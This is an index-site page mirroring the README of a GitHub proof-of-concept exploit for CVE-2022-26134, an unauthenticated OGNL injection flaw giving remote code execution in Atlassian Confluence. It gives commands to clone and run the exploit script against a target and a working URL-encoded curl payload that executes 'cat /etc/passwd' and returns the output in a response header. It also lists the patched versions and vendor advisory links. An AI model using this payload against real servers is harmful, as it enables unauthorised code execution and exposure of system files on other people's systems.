Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/kh4sh3i/CVE-2022-26134
[PoC] Atlassian Confluence (CVE-2022-26134) - Unauthenticated OGNL injection vulnerability (RCE)
https://github.com/kh4sh3i/CVE-2022-26134
atlassian atlassian-jira code confluence confluent-platform cve cve-2022-26134 jira payload poc rce remote
Last synced: 3 months ago
JSON representation
[PoC] Atlassian Confluence (CVE-2022-26134) - Unauthenticated OGNL injection vulnerability (RCE)
- Host: GitHub
- URL: https://github.com/kh4sh3i/CVE-2022-26134
- Owner: kh4sh3i
- License: cc0-1.0
- Created: 2022-06-21T11:49:48.000Z (over 2 years ago)
- Default Branch: main
- Last Pushed: 2022-06-21T12:05:25.000Z (over 2 years ago)
- Last Synced: 2023-03-05T02:19:22.619Z (almost 2 years ago)
- Topics: atlassian, atlassian-jira, code, confluence, confluent-platform, cve, cve-2022-26134, jira, payload, poc, rce, remote
- Language: Python
- Homepage:
- Size: 7.81 KB
- Stars: 2
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
### CVE-2022-26134 - OGNL injection vulnerability.
In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance.
### PoC:
```bash
git clone https://github.com/kh4sh3i/CVE-2022-26134
cd CVE-2022-26134
python3 cve-2022-26134.py https://target.com CMD
```Example with CURL command:
```bash
curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D"
```Then, the result of the command will be reflected in the parameter `X-Cmd-Response` in the response header.
### Fixed Versions
Released versions 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1 contain a fix for this issue.### Reffrence
* [confluence](https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html)
* [jira](https://jira.atlassian.com/browse/CONFSERVER-79016)